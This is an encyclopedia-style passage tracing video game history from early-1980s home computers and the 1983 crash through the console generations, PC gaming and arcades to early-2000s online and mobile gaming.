The video games industry experienced its first major growing pains in the early 1980s as publishing houses appeared, with many businesses surviving 20+ years, such as Electronic Arts—alongside fly-by-night operations that cheated the games' developers. While some early 1980s games were simple clones of existing arcade titles, the relatively low publishing costs for personal computer games allowed for bold, unique games.
Gaming computers
Following the success of the Apple II and Commodore PET in the late 1970s, a series of cheaper and incompatible rivals emerged in the early 1980s. This second batch included the Commodore VIC-20 and 64; Sinclair ZX80, ZX81 and ZX Spectrum; NEC PC-8000, PC-6001, PC-88 and PC-98; Sharp X1 and X68000; and Atari 8-bit family, BBC Micro, Acorn Electron, Amstrad CPC, and MSX series. These rivals helped to catalyze both the home computer and game markets, by raising awareness of computing and gaming through their competing advertising campaigns.
The Sinclair, Acorn and Amstrad offerings were generally only known in Europe and Africa, the NEC and Sharp offerings were generally only known in Asia, and the MSX had a base in South America, Europe, Middle East and Asia, while the US-based Apple, Commodore and Atari offerings were sold in both the US and Europe.
Games dominated home computers' software libraries. A 1984 compendium of reviews of Atari 8-bit software used 198 pages for games compared to 167 for all others.[26] By that year the computer gaming market took over from the console market following the crash of that year; computers offered equal gaming ability and, since their simple design allowed games to take complete command of the hardware after power-on, they were nearly as simple to start playing with as consoles.
The Commodore 64 system
The Commodore 64 was released to the public in August 1982. It found initial success because it was marketed and priced aggressively. It had a BASIC programming environment, and advanced graphic and sound abilities for its time, similar to the ColecoVision console. It also used the same game controller ports popularized by the Atari 2600, allowing gamers to use their old joysticks with the system. It would become the most popular home computer of its day in the US and many other countries and the best-selling single computer model of all time internationally.
At around the same time, the Sinclair ZX Spectrum was released in the United Kingdom and quickly became the most popular home computer in many areas of Western Europe—and later the Eastern Bloc—due to the ease with which clones could be produced.[27][28][29] A number of prominent video game developers emerged in Britain in the late 1970s and early 1980s.[30]
In 2008 Sid Meier listed the IBM PC as one of the three most important innovations in the history of video games.[31] The IBM PC compatible platform became a technically competitive gaming platform with IBM's PC/AT in 1984. The primitive CGA graphics of prior models, with only 4-color 320×200 pixel graphics (or, using special programming, 16-color 160×100 graphics[32]) had limited the PC's appeal to the business segment, as its graphics failed to compete with the C64 or Apple II. The new 64-color[33] Enhanced Graphics Adapter (EGA) display standard allowed its graphics to approach the quality seen in popular home computers like the Commodore 64. However, the sound abilities of the AT were still limited to the PC speaker, which was substandard compared to the built-in sound chips used in many home computers. Also, the relatively high cost of the PC compatible systems severely limited their popularity in gaming.
The Apple Macintosh also arrived at this time. It lacked the color abilities of the earlier Apple II, instead preferring a much higher pixel resolution, but the operating system support for the graphical user interface (GUI) attracted developers of some games (e.g. Lode Runner) even before color returned in 1987 with the Mac II.
The arrival of the Atari ST and Commodore Amiga in 1985 was the start of a new era of 16-bit machines. For many users they were too costly until later on in the decade, at which point advances in the IBM PC's open platform had caused the IBM PC compatibles to become comparably powerful at a lower cost than their competitors. The VGA standard developed for the new IBM Personal System/2 (PS/2) line in 1987 gave the PC the potential for 256-color graphics. This was a big jump ahead of most 8-bit home computers but still lagged behind platforms with built-in sound and graphics hardware like the Amiga. This caused an odd trend around '89–91 toward developing for a seemingly inferior machine. Thus while both the ST and Amiga were host to many technically excellent games, their time of prominence was shorter than that of the 8-bit machines, which saw new ports well into the 1980s and even the 1990s.
Dedicated sound cards started to address the issue of poor sound abilities in IBM PC compatibles in the late 1980s. Ad Lib set an early de facto standard for sound cards in 1987, with its card based on the Yamaha YM3812 sound chip. This would last until the introduction of Creative Labs' Sound Blaster in 1989, which took the chip and added new features while remaining compatible with Ad Lib cards, and creating a new de facto standard. However, many games would still support these and rarer things like the Roland MT-32 and Disney Sound Source into the early 1990s. The initial high cost of sound cards meant they would not find widespread use until the 1990s.
Shareware gaming first appeared in the mid-1980s, but its big successes came in the 1990s.[34]
Early online gaming
Dial-up bulletin board systems were popular in the 1980s, and sometimes used for online game playing. The earliest such systems were in the late 1970s and early 1980s and had a crude plain-text interface. Later systems made use of terminal-control codes (the so-called ANSI art, which included the use of IBM-PC-specific characters not part of an American National Standards Institute (ANSI) standard) to get a pseudo-graphical interface. Some BBSs offered access to various games which were playable through such an interface, ranging from text adventures to gambling games like blackjack (generally played for "points" rather than real money). On some multiuser BBSs (where more than one person could be online at once), there were games allowing users to interact with one another.
SuperSet Software created Snipes, a text-mode networked computer game in 1983 to test a new IBM Personal Computer–based computer network and demonstrate its abilities. Snipes is officially credited as being the original inspiration for NetWare. It is believed to be the first network game ever written for a commercial personal computer and is recognized alongside 1974 game Maze War (a networked multiplayer maze game for several research machines) and Spasim (a 3D multiplayer space simulation for time shared mainframes) as the precursor to multiplayer games such as 1987's MIDI Maze, and Doom in 1993. In 1995 iDoom (later Kali.net) was created for games that only allowed local network play to connect over the internet. Other services such as Kahn, TEN, Mplayer, and Heat.net soon followed after. These services ultimately became obsolete when game producers began including their own online software such as Battle.net, WON and later Steam.
The first user interfaces were plain-text—similar to BBSs— but they operated on large mainframe computers, permitting larger numbers of users to be online at once. By the end of the decade, inline services had fully graphical environments using software specific to each personal computer platform. Popular text-based services included CompuServe, The Source, and GEnie, while platform-specific graphical services included PlayNET and Quantum Link for the Commodore 64, AppleLink for the Apple II and Macintosh, and PC Link for the IBM PC—all of which were run by the company which eventually became America Online—and a competing service, Prodigy. Interactive games were a feature of these services, though until 1987 they used text-based displays, not graphics.
Handheld LCD games
In 1979, Milton Bradley Company released the first handheld system using interchangeable cartridges, Microvision. While the handheld received modest success in the first year of production, the lack of games, screen size and video game crash of 1983 brought about the system's quick demise.[35]
In 1980, Nintendo released its Game & Watch line, handheld electronic game which spurred dozens of other game and toy companies to make their own portable games, many of which were copies of Game & Watch titles or adaptations of popular arcade games. Improving LCD technology meant the new handhelds could be more reliable and consume fewer batteries than LED or VFD games, most only needing watch batteries. They could also be made much smaller than most LED handhelds, even small enough to wear on one's wrist like a watch. Tiger Electronics borrowed this concept of videogaming with cheap, affordable handhelds and still produces games in this model to the present day.
Video game crash of 1983
At the end of 1983, several factors, including a market flooded with poor-quality games, the commercial failure of several important Atari 2600 titles, and home computers emerging as a new and more advanced gaming platform, caused the industry to experience a severe downturn. This was the "crash" of the video game industry. It bankrupted several companies that produced North American consoles and games from late 1983 to early 1984. It ended what is considered to be the second generation of console video gaming.
As a result of the crash, a globally important video gaming industry emerged in Japan, creating important room for companies like Nintendo and Sega. This brought about the worldwide popularity of the third-generation Nintendo Entertainment System, for which third-party game publishing was strictly overseen by Nintendo.
Third generation consoles (1983–1995) (8-bit)
Whilst a broken gaming industry in the US took several local businesses to bankruptcy and practically ended retail interest in video gaming products, an 8-bit third generation of video game consoles started in Japan as early as 1983 with the release of both Nintendo's Family Computer ("Famicom") and Sega's SG-1000 on July 15. The first clearly trumped the second in terms of commercial success in the country, causing Sega to replace it, two years later, by a severely improved and modernized version called the Sega Mark III.[citation needed]
In efforts to make the Famicom marketable in the US, Nintendo created a completely redesigned version of it, called the Nintendo Entertainment System (NES), to be sold in the country as a product unrelated to video gaming. For this same reason, the company also developed a toy robot accessory called the R.O.B. to be sold together with some versions. The NES was released on 18 October 1985 in the US, reviving the video game market in the country and proving successful to the American audience, peaking in popularity between 1987 and the early 1990s. The console was later released in other Western countries, but because of heavy competition from home computers such as the ZX Spectrum, Amstrad CPC and Commodore 64, and a lack of marketing, the NES was prevented from having as much success in Europe.[citation needed]
The Sega Mark III, released to Western consumers as the Master System, dominated the markets of Europe, Oceania and Brazil, selling more than the NES in these regions. Soon, the Famicom/NES and the Master System became the great consoles of the third generation. While Sega focused on unique gameplay experiences and innovative technology (with Master System's superior technical properties which allowed better graphics, and accessories like LCD glasses), Nintendo focused on creating long and popular game franchises which often repeated the same features.[36] Despite different regional dominances, the Famicom/NES sold a superior sum of 61.91 million worldwide copies, against 14.8 million of the Master System.[38]
In this generation, the gamepad or joypad, took over for joysticks, paddles, and keypads as the default game controller. The gamepad design of an 8 direction Directional-pad (or D-pad for short) with 2 or more action buttons became the standard. This generation also marked a shift in the dominance of home video game console hardware and console game production from the United States to Japan.[39]
The third console generation marked the debut of various high-profile role-playing franchises, such as The Legend of Zelda, Dragon Quest, Phantasy Star and Final Fantasy, the latter of which financially saved Japanese developer Square. 1987 saw the birth of the stealth genre with Hideo Kojima’s Metal Gear series' first game, on the MSX2 computer. In 1989, Capcom released Sweet Home on the NES, which served as a precursor to the survival horror genre.
In 1988, Nintendo published their first issue of Nintendo Power magazine.
By 1989 the market for cartridge-based console games was more than $2 billion, while that for disk-based computer games was less than $300 million.[40] Large computer-game companies such as Epyx, Electronic Arts, and LucasArts began devoting much or all of their attention on console games. Computer Gaming World warned that computer gaming could become a "cultural backwater," similar to what had happened a few years earlier with 8-bit computers.[41] In 1990, Commodore and Amstrad entered the console market with their C64GS and GX4000 game machines respectively. These were both based on the 8-bit computers of their manufacturers, and had only limited success due to a lack of software support and the arrival of 16-bit machines. Amstrad's GX4000 sold just over 15,000 units, with only 25 officially released game cartridges. Even though it was technically superior to the Master System and Nintendo Entertainment System, it was discontinued after 6 months.
This generation ended with the discontinuation of the NES in 1995.
Fourth generation consoles (1987–2004) (16-bit)
Chiptuned sounds An original synthesized chiptune composition imitating early video game music. Problems playing this file? See media help.
A 16-bit generation of video game consoles starts in the late 1980s. The TurboGrafx-16, named the PC Engine in Europe and Japan, debuted in 1987 as the first commercial 16-bit game system. It had a large following in Japan, but, did poorly in North America and Europe because of its limited library of games and because of excessive distribution restrictions imposed by Hudson Soft. Sega's Mega Drive/Genesis sold well worldwide early on after its debut in 1988. Nintendo responded with its own next generation system named the Super Nintendo Entertainment System (SNES), in 1990.
This time was one of intense competition and not entirely truthful marketing. The TurboGrafx-16 was billed as the first 16-bit system but its central processor was an 8-bit HuC6280, with only its HuC6270 graphics processor being a true 16-bit chip. Also, the much earlier Mattel Intellivision contained a 16-bit processor. Sega used the term "Blast Processing" throughout its marketing to describe the simple fact that their console's CPU ran at a higher clock speed than that of the SNES (7.67 MHz vs 3.58 MHz).
In Japan, the PC Engine was a very successful competitor against the Famicom and a CD drive peripheral allowed it to fend off the Mega Drive in 1988, though it never really caught on to the same degree outside Japan. The PC Engine eventually lost out to the Super Famicom, but, due to its popular CD add-ons, retained enough of a user base to support new games well into the late 1990s.
CD-ROM drives were introduced in this generation, as add-ons for the PC Engine in 1988 and the Mega Drive in 1991. Nintendo experimented with optical media formats for the SNES in a joint venture with Sony, who would go on to develop this concept into the PlayStation and rise to prominence as a major competitor to Nintendo and Sega. Basic 3D graphics entered the mainstream with flat-shaded polygons enabled by added processors in game cartridges like Virtua Racing and Star Fox, while the Mega Drive managed to produce such graphics without special processors, on the ≈8 MHz 68000 chip by using highly simplified polygon models, a slow frame rate (<4 fps), and reduced resolution.
Sonic the Hedgehog, released in 1991 for the Mega Drive/Genesis, gave the console mainstream popularity, and rivaled Nintendo's Mario franchise, starting the so-called "console war." Its namesake character became the mascot of Sega and one of the most recognizable video game characters in history.
SNK's Neo-Geo was the most costly console by a wide margin when released in 1990, and would remain so for years. Its 2D graphics were of a quality years ahead of other consoles. The reason for this was that it contained the same hardware that was found in SNK's arcade games. This was the first time since the home Pong machines that a true-to-the-arcade experience could be had at home, but the system was commercially inviable.
This era also saw a revival of handheld consoles, which were absent in the prior generation. Nintendo's Game Boy, a portable released in 1989 with monochromatic 2D graphics and 35-hours battery life, became widely popular in the world and sold much more than its three competitors, the Atari Lynx, the Sega Game Gear and NEC's Turbo Express, released in Japan in North America until 1991. Despite these three consoles having much more sophisticated 16-bit graphics (similar to home consoles of the time), graphic resource consumed too much battery life, which contributed to their unpopularity. The other consoles also had scarce game libraries compared to over one thousand games released for the Game Boy, including best-selling titles Pokémon Red and Blue, and which inspired an entire line of portable machines that continued through the following two generations.
1990s
The 1990s were a decade of marked innovation in video gaming. It was a decade of transition from raster graphics to 3D graphics and gave rise to several genres of video games including first-person shooter, real-time strategy, and MMO. Handheld gaming began to become more popular throughout the decade, thanks in part to the release of the Game Boy in 1989.[42] Arcade games experienced a resurgence in the early-to-mid-1990s, followed by a decline in the late 1990s as home consoles became more common.
As arcade games declined, however, the home video game industry matured into a more mainstream form of entertainment in the 1990s, but their video games also became more and more controversial because of their violent nature, especially in games of Mortal Kombat, Night Trap, and Doom, leading to the formation of the Interactive Digital Software Association and their rating games by signing them their ESRB ratings since 1994.[43] Major developments of the 1990s include the popularizing of 3D computer graphics using polygons (initially in arcades, followed by home consoles and computers), and the start of a larger consolidation of publishers, higher budget games, increased size of production teams, and collaborations with both the music and motion picture industries. Examples of this include Mark Hamill's involvement with Wing Commander III, the introduction of QSound with arcade system boards such as Capcom's CP System II, and the high production budgets of titles such as Squaresoft's Final Fantasy VII and Sega's Shenmue.
Resurgence and decline of arcades
In North America, arcade games, which had seen a slow decline with the increase in popularity of home gaming, experienced a resurgence in the early-to-mid-1990s, with the 1991 release of Capcom's Street Fighter II[44] popularizing competitive one-on-one fighting games and reviving the arcade industry to a level of popularity not seen since the days of Pac-Man.[45] Its success led to a wave of other popular fighting games, such as Mortal Kombat and The King of Fighters. Sports games such as NBA Jam also briefly became popular in arcades during this period.
Transition to 3D
3D computer graphics using polygons were soon popularized by Yu Suzuki's Sega AM2 games Virtua Racing (1992) and Virtua Fighter (1993), both running on the Sega Model 1 arcade system board;[46] some of the Sony Computer Entertainment (SCE) staff involved in the creation of the original PlayStation video game console credit Virtua Fighter as inspiration for the PlayStation's 3D graphics hardware. According to SCE's former producer Ryoji Akagawa and chairman Shigeo Maruyama, the PlayStation was originally being considered as a 2D-focused hardware, and it wasn't until the success of Virtua Fighter in the arcades that they decided to design the PlayStation as a 3D-focused hardware.[47] Texture mapping and texture filtering were soon popularized by 3D racing and fighting games.[citation needed]
However, with the advent of 32- and 64-bit consoles in the mid-1990s, home video game consoles such as the Sega Saturn, PlayStation and Nintendo 64 also became able to produce texture-mapped 3D graphics. Increasing numbers of players would wait for popular arcade games to be ported to consoles rather than pumping coins into arcade kiosks. This trend increased with the introduction of more realistic peripherals for computer and console game systems such as force feedback aircraft joysticks and racing wheel/pedal kits, which allowed home systems to approach some of the realism and immersion formerly limited to the arcades.[citation needed] To remain relevant, arcade manufacturers such as Sega and Namco continued pushing the boundaries of 3D graphics beyond what was possible in homes. Virtua Fighter 3 for the Sega Model 3, for instance, stood out for having real-time 3D graphics approaching the quality of CGI full motion video (FMV) at the time.[48] Likewise, Namco released the Namco System 23 to rival the Model 3. By 1998, however, Sega's new console, the Dreamcast, could produce 3D graphics on-par with the Sega Naomi arcade machine. After producing the more powerful Hikaru board in 1999 and Naomi 2 in 2000, Sega eventually stopped manufacturing custom arcade system boards, with their subsequent arcade boards being based on either consoles or commercial PC components.
As patronage of arcades declined, many were forced to close down. Classic coin-operated games have largely become the province of dedicated hobbyists and as a tertiary attraction for some businesses, such as movie theaters, batting cages, miniature golf courses, and arcades attached to game stores such as F.Y.E.
The gap left by the old corner arcades was partly filled by large amusement centers dedicated to providing clean, safe environments and costly game control systems unavailable to home users. These newer arcade titles offered games based on driving, sports like skiing or cycling, and rhythm games like Dance Dance Revolution and path-based shooting gallery games like Time Crisis, which have taken a large part of the market. Dave & Buster's and GameWorks are two large chains in the United States with this type of environment. Aimed at adults and older kids, they feature full service restaurants with full liquor bars and have a wide variety of video game and hands on electronic gaming options. Chuck E. Cheese's is a similar type of business for younger children.
Handhelds come of age
In 1989, Nintendo released the Game Boy, the first handheld game console since the ill-fated Microvision ten years before. The design team headed by Gunpei Yokoi had also been responsible for the Game & Watch systems. Included with the system was Tetris, which became one of the best sold video games of all time and was ported to a large variety of systems. Several rival handhelds made their debut in the early 90s, including the Sega Game Gear and Atari Lynx (the first handheld with color LCD display). Although these systems were more technologically advanced, they were hampered by higher battery consumption and less third-party developer support. While some of the other systems remained in production until the mid-1990s, the Game Boy, and its successive incarnations the Game Boy Pocket, Game Boy Color and Game Boy Advance, would be virtually unchallenged for dominance in the handheld market, until the PlayStation Portable was released in 2004 to compete with Nintendo's successor to the Game Boy line, the Nintendo DS.[citation needed]
PC gaming
The increasing computing power and decreasing cost of processors such as the Intel 80386, Intel 80486, and Motorola 68030, caused the rise of 3D graphics, and multimedia abilities through sound cards and CD-ROMs. Early 3D games began with flat shading graphics (Elite, Starglider 2 or Alpha Waves),[49] and then simple forms of texture mapping.
1989 and the early 1990s saw the release and spread of the Multi-User Dungeon (MUD) codebases DikuMUD and LPMud, leading to a tremendous increase in the proliferation and popularity of MUDs. Before the end of the decade, the evolution of the genre continued through graphical MUDs into the first massively multiplayer online role-playing games (MMORPGs), which freed users from the limited number of simultaneous players in other games and brought persistent worlds to the mass market.
In the early 1990s, shareware distribution was a popular method of publishing games for smaller developers, including then-fledgling companies such as Apogee (now 3D Realms), Epic MegaGames (now Epic Games), and id Software. This gave consumers the chance to try a trial portion of the game, usually restricted to a game's complete first section or "episode", before purchasing the full game. Racks of games on single 5​1⁄ 4 " and later 3.5" floppy disks were common in computer stores, often only costing a few dollars each. Since the shareware versions were essentially free, the cost only needed to cover the disk and minimal packaging. As the increasing size of games in the mid-1990s made them impractical to fit on floppies, and retail publishers and developers began to earnestly mimic the practice, shareware games were replaced by shorter game demos (often only one or two levels), distributed free on CDs with gaming magazines and over the Internet.
Real-time strategy became a popular genre of computer games in the early 90s, with Dune II setting the standard game mechanics of many games since. Meanwhile, Alone in the Dark influenced the survival-horror genre with its action-adventure elements. It established the formula that would later flourish on CD-ROM–based consoles, with games such as Resident Evil, which coined the name "survival horror" and popularized the genre, and Silent Hill.[citation needed]
Graphic adventure games continued to evolve during this period, with the creation of the point-and-click genre. Some of the genre's most prolific titles were being produced by Sierra Entertainment and LucasArts during the 90s, and Myst and its sequels inspired a new style of puzzle-based adventure games. It was in the 1990s that Maxis began publishing its successful line of "Sim" games, starting with SimCity, and continuing with a variety of titles, such as SimEarth, SimCity 2000, and eventually The Sims, which was first released in early 2000.
In 1996, 3dfx Interactive released the Voodoo chipset, leading to the first affordable 3D accelerator cards for personal computers. These devoted 3D rendering daughterboards performed a portion of the computations and memory-handling required for more-detailed three-dimensional graphics (mainly texture filtering), allowing for more-detailed graphics than would be possible if the CPU were required to handle both game logic and all the graphical tasks. First-person shooters (FPS) were among the first to take advantage of this new technology. While other games would also make use of it, the FPS would become the main driving force behind the development of new 3D hardware, and the yardstick by which its performance would be measured, usually quantified as the number of frames per second rendered for a given scene in a given game.
Several other less mainstream genres were created in this decade. Looking Glass Studios' Thief: The Dark Project and its sequel were the first to coin the term "first person sneaker,"[50] and the turn-based strategy progressed further, with the Heroes of Might and Magic series popularizing the thus far niche and complex genre.
Id Software’s 1996 game Quake pioneered play over the Internet in first-person shooters. Internet multiplayer ability became a de facto requirement in most FPS games since. Other genres also began to offer online play in the late 90s, including real-time strategy games as Age of Empires, the Warcraft and StarCraft series, and turn-based games such as Heroes of Might and Magic. Developments in web browser plug-ins like Java and Adobe Flash allowed for simple browser-based games.
Fifth generation consoles (1993–2005) (32- and 64-bit)
In 1993, Atari re-entered the home console market with the introduction of the Atari Jaguar. Also in 1993, The 3DO Company released the 3DO Interactive Multiplayer, which, though highly advertised and promoted, failed to catch up to the sales of the Jaguar, due to its high pricetag. Both consoles had very low sales and few quality games, eventually leading to their demise. In 1994, three new consoles were released in Japan: the Sega Saturn, the Sony PlayStation, and the PC-FX, the Saturn and the PlayStation later seeing release in North America in 1995. The PlayStation quickly outsold all of its competitors mainly on the strength of its available titles, with the exception of the aging Super Nintendo Entertainment System, which still had the support of many major game companies.
The Virtual Boy from Nintendo was released in 1995 as one of the first consumer consoles providing 3D depth perception, but did not achieve high sales, largely due to the monochrome display and the lack of third-party support. In 1996 the Virtual Boy was taken off the market.
After many delays, during which Sony's PlayStation gained industry acceptance, Nintendo released its 64-bit console, the Nintendo 64 in 1996. The console's flagship title, Super Mario 64, became a defining title for 3D platformer games.
PaRappa the Rapper popularized music video games in Japan with its 1996 debut on the PlayStation. Subsequent music and dance games like beatmania and Dance Dance Revolution became ubiquitous attractions in Japanese arcades. While Parappa, DDR, and other games found a cult following when brought to North America, music games would not gain a wide audience in the market until the next decade with titles like Guitar Hero. Also in 1996 Capcom released Resident Evil, the first well known survival horror game. It was a huge success selling over 2 million copies and is considered one of the best games on the PlayStation.
Other milestone games of the era include Rare's Nintendo 64 title GoldenEye 007 (1997), which was critically acclaimed for bringing innovation as being the first major first-person shooter that was exclusive to a console, and for pioneering certain features that became staples of the genre, such as scopes, headshots, and objective-based missions.[citation needed] The Legend of Zelda: Ocarina of Time (1998) for the Nintendo 64 is one of the most critically acclaimed games of all time, and is still the highest ranked game across all platforms on video game aggregator Metacritic. The title also featured many innovations such as Z-targeting, which has persisted through subsequent Zelda titles on newer consoles and is commonly used in many other franchises today.
Nintendo's choice to continue using ROM cartridges instead of moving to CD-ROMs for the Nintendo 64, unique among the consoles of this period, proved to have negative consequences for the console and for Nintendo's market share. While cartridges had faster access times, were more durable and resistant to unlicensed copying, CDs could hold far more data (650MB, over ten times the capacity of the largest N64 ROM at 64MB) and cost far less to produce, causing many game companies to turn to Nintendo's CD-based competitors. Notably, Square, which had released all prior games in its Final Fantasy series for Nintendo consoles, now turned exclusively to the PlayStation; Final Fantasy VII (1997) was a massive success, establishing the popularity of role-playing video games in the west and making the PlayStation the primary console for the genre, taking the crown from Nintendo who had enjoyed it with the SNES and Square's then Nintendo-exclusive Final Fantasy, Secret of Mana and Chrono Trigger titles. Copies of FFVII still command like-new prices of between US$30–$50 on the used market. Square would not return to Nintendo's main console platforms until 2003 with the GameCube and the cross-platform title Final Fantasy Crystal Chronicles (the only Square-published title for that console), and has not, to date, released a "main series" Final Fantasy title for a Nintendo platform since FFVI for the SNES. Capcom also largely departed from Nintendo during the N64 days; the next 4 installments of its popular Mega Man 2D platform shooter were released on PlayStation and Saturn. Capcom was somewhat quicker and more eager to return than Square, however, providing two anthologies of Mega Man titles for the GameCube, including Mega Man 8 and Mega Man X4-6 that Nintendo players had missed.
By the end of this period, Sony had become the leader in the video game market. The Saturn was moderately successful in Japan but a commercial failure in North America and Europe, leaving Sega outside of the main competition. The N64 achieved huge success in North America and Europe, though it never surpassed PlayStation's sales or was as popular in Japan, and began to show a decline in third-party support for Nintendo's home consoles.
This generation ended with the discontinuation of the PlayStation (known in its re-engineered form as the "PSOne") in March 2005.
Transition to 3D and CDs
The fifth generation is most noted for the rise of fully 3D games. While there were games prior that had used three dimensional environments, such as Virtua Racing and Star Fox, it was in this era that many game designers began to move traditionally 2D and pseudo-3D genres into full 3D. Super Mario 64 and The Legend of Zelda: Ocarina of Time on the N64, Crash Bandicoot, and Spyro the Dragon on the PlayStation and Nights into Dreams... on the Saturn, are prime examples of this trend. Their 3D environments were widely marketed, and they steered the industry's focus away from side-scrolling and rail-style titles, and opened doors to more complex games and genres. Games like GoldenEye 007, Ocarina of Time or Virtua Fighter were nothing like shoot-em-ups, RPGs or fighting games before them. 3D became the main focus in this period, as was a slow decline of cartridges in favor of CDs, which allowed far greater storage capacity than what formerly possible. The N64 was the last major home console to use the cartridge format, although it persists to this day in handheld games on Nintendo and Sony devices using memory cards similar to Secure Digital (SD) cards.
Mobile phone gaming
Mobile phones began becoming video gaming platforms when Nokia installed Snake onto its line of mobile phones in 1997 (Nokia 6110).[51] As the game gained popularity, every major phone brand offered "time killer games" that could be played in very short moments such as waiting for a bus. Mobile phone games early on were limited by the modest size of the phone screens that were all monochrome, the very limited amount of memory and processing power on phones, and the drain on the battery.
2000s
The 2000s (decade) showed innovation on both consoles and PCs, and an increasingly competitive market for portable game systems.
The phenomena of user-created modifications (or "mods") for games, one trend that began during the Wolfenstein 3D and Doom-era, continued into the start of the 21st century. The most famous example is that of Counter-Strike; released in 1999, it is still one of the most popular online first-person shooter, even though it was created as a mod for Half-Life by two independent programmers. Eventually, game designers realized the potential of mods and custom content in general to enhance the value of their games, and so began to encourage its creation. Some examples of this include Unreal Tournament, which allowed players to import 3dsmax scenes to use as character models, and Maxis' The Sims, for which players could create custom objects.
In China, video game consoles were banned in June 2000. This has led to an explosion in the popularity of computer games, especially MMOs. Consoles and the games for them are easily acquired however, as there is a robust grey market importing and distributing them across the country. Another side effect of this law has been increased copyright infringement of video games.[52][53]
Sixth generation consoles (1998–2013)
In the sixth generation of video game consoles, Sega exited the hardware market, Nintendo fell behind, Sony solidified its lead in the industry, and Microsoft developed their first gaming console.
The generation opened with the launch of the Sega Dreamcast in 1998. As the first console with a built-in modem for Internet support and online play, it was initially successful, but sales and popularity would start to fall. This has been attributed to Sega's damaged reputation from the relative failures of the 32X and Saturn, copyright infringement, and the huge anticipation for the upcoming PlayStation 2. The Dreamcast's library contains many titles considered creative and innovative, including the Shenmue series which are regarded as a major step forward for 3D open-world gameplay[54] and has introduced the quick time event mechanic in its modern form.[55] Production for the console would discontinue in most markets by 2002 and it would be Sega's final console before it reorganized its business as a third party game provider only, partnering primarily with its old rival Nintendo.
The second console of the generation, released in 2000, was Sony's PlayStation 2 (PS2), which featured DVD-based game discs with 4.7GB capacity, increased processor and graphics ability over its predecessor including progressive-scan component video connections, built-in 4-player connection, available Ethernet adapter (which became built-in with the winter 2004 release of the "slimline" PS2 chassis), and the ability to play DVD movies and audio CDs, eliminating the need for a separate DVD player and making the PS2 a complete home entertainment console. The console was highly successful during the generation.
Nintendo followed a year later with the GameCube (code-named "Dolphin" while in development), the company's first optical disc-based console. While it had the component-video ability of its contemporaries, the GameCube suffered in several ways compared to Sony's PS2. First, the PS2's high anticipation and one-year head start gained it player and developer attention before the GCN's release. As a result, the GameCube had less third-party backing and very few third-party exclusives, mostly from Nintendo-faithful studios such as Rare and the now-defunct Midway Games. Cross-platform giants like Capcom, Electronic Arts and Activision released most of their GameCube titles on other consoles as well, while Square Enix released high-demand PS2 exclusives. The GCN's game disc capacity was a third that of the PS2's full-size DVD disks, forcing a few games to be released on multiple discs and most titles to compromise on texture quality and other features of GameCube games, when other platforms had no such limitations on their versions. It had no backward compatibility with the now-obsolete cartridges of the N64. It was a dedicated game console, with the optical drive being too small to hold a full-size CD or DVD. Lastly, The GameCube was hindered by a reputation for being a "kid's console", due to its initial launch color scheme and lack of mature-content games which the current market appeared to want. Though T- and M-rated titles did exist on the GameCube, almost all GCN games were E-rated and mostly cartoon-style in their art design.
The Xbox , Microsoft's entry into the video game console industry
Before the end of 2001, Microsoft Corporation, best known for its Windows operating system and its professional productivity software, entered the console market with the Xbox. Based on Intel's Pentium III CPU, the console used a great deal of PC technology to leverage its internal development, making games for PC easily portable to the Xbox. To gain market share and maintain its toehold in the market, Microsoft reportedly sold the Xbox at a significant loss[56] and concentrated on drawing profit from game developing and publishing. Shortly after its release in November 2001 Bungie Studio's Halo: Combat Evolved instantly became the driving point of the Xbox's success, and the Halo series would go on to become one of the most successful console shooter franchises of all time. By the end of the generation, the Xbox had drawn even with the Nintendo GameCube in sales globally, but since nearly all of its sales were in North America, it pushed Nintendo into third place in the American market.
In 2001 Grand Theft Auto III was released, popularizing open world games by using a non-linear style of gameplay. It was very successful both critically and commercially and is considered a huge milestone in gaming. It was also yet another set piece in the debate over video game violence and adult content, with advocacy groups decrying the series' glorification of prostitution, the mafia, and violence, including that against first responders such as police and EMS.
Nintendo still dominated the handheld gaming market during this period. The Game Boy Advance, released in 2001, maintained Nintendo's market position with a high-resolution, full-color LCD screen and 16-bit processor allowing ports of SNES games and simpler companions to N64 and GameCube games. Finnish cellphone maker Nokia entered the handheld scene with the N-Gage, but it failed to win a significant following.
In January 2013, Sony announced that the PlayStation 2 had been discontinued worldwide, ending the sixth generation.
Return of alternative controllers
One significant feature of this generation was various manufacturers' renewed fondness for add-on peripheral controllers. While alternative controllers weren't new (Nintendo supported several for the NES and PC games have long supported driving wheels and aircraft joysticks), console games built around them became some of the biggest hits of the decade. Konami sold a soft-plastic mat version of its foot controls for its Dance Dance Revolution franchise in 1998. Sega came out with Samba de Amigo's maraca controllers. Nintendo's bongo controller worked with a few games in its Donkey Kong franchise. Publisher RedOctane introduced Guitar Hero and its distinctive guitar-shaped controllers for the PlayStation 2. Meanwhile, Sony developed the EyeToy peripheral, a camera that could detect player movement, for the PlayStation 2. This would further be developed into whole-body tracking technologies such as Sony's PlayStation Move and Microsoft's Kinect.
Online gaming rises to prominence
As affordable broadband Internet connectivity spread, many publishers turned to online gaming as a way of innovating. Massively multiplayer online role-playing games (MMORPGs) featured significant titles for the PC market like RuneScape, World of Warcraft, EverQuest, and Ultima Online. Historically, console-based MMORPGs have been few in number due to the lack of bundled Internet connectivity options for the platforms. This made it hard to establish a large enough subscription community to justify the development costs. The first significant console MMORPGs were Phantasy Star Online on the Sega Dreamcast (which had a built in modem and aftermarket Ethernet adapter), followed by Final Fantasy XI for the Sony PlayStation 2 (an aftermarket Ethernet adapter was shipped to support this game). Every major platform released since the Dreamcast has either been bundled with the ability to support an Internet connection or has had the option available as an aftermarket add-on. Microsoft's Xbox also had its own online gaming service called Xbox Live. Xbox Live was a huge success and proved to be a driving force for the Xbox with games like Halo 2 that were highly popular.
Mobile games
In the early 2000s (decade), mobile games had gained mainstream popularity in Japanese mobile phone culture, years before the United States or Europe. By 2003, a wide variety of mobile games were available on Japanese phones, ranging from puzzle games and virtual pet titles that use camera phone and fingerprint scanner technologies to 3D games with PlayStation-quality graphics. Older arcade-style games became very popular on mobile phones, which were an ideal platform for arcade-style games designed for shorter play sessions. Namco began making attempts to introduce mobile gaming culture to Europe in 2003.[57]
